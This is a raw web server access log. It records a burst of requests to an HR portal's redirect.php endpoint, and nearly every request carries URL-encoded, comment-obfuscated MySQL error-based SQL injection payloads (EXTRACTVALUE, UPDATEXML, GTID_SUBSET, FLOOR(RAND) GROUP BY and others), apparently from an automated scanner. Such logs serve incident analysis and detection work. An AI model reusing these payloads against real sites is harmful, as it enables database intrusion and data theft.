100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x58776b4d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75745777%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x55643035%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d307678%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x55643035%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d307678%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6e4a3567%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b4f5157%29%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6e4a3567%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b4f5157%29%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x78676639%2C%28NULL%29%2C0x51796d6b%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x78676639%2C%28NULL%29%2C0x51796d6b%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x66574c66%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7435364a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x66574c66%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7435364a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x65435a48%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x364a4769%29%2C6420%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x65435a48%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x364a4769%29%2C6420%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x486e7458%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x317a5477%29%2C5431%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x486e7458%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x317a5477%29%2C5431%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x47547334%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4946624c%29%2C6420%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x47547334%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4946624c%29%2C6420%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x526d356c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a666379%29%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x526d356c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a666379%29%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x31395649%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x56304662%29%2C5431%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x31395649%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x56304662%29%2C5431%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x6b546c34%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50544476%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x6b546c34%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50544476%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x51487636%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31796733%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x51487636%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31796733%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x36745942%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71764970%29%29x%29%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x36745942%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71764970%29%29x%29%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x77416757%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57653365%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x77416757%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57653365%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6d7a3352%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79516664%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6d7a3352%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79516664%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x704f394b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73315939%29%29x%29%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x704f394b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73315939%29%29x%29%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x78726f62%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58486b69%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:52 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x78726f62%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58486b69%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x62306834%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61555158%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x62306834%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61555158%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x73773836%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35366c30%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x73773836%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35366c30%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6c464133%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67317364%29%29%2C1%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6c464133%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67317364%29%29%2C1%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x63676254%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36504678%29%29%2C1%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x63676254%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36504678%29%29%2C1%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x42684549%2C%28NULL%29%2C0x63653345%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
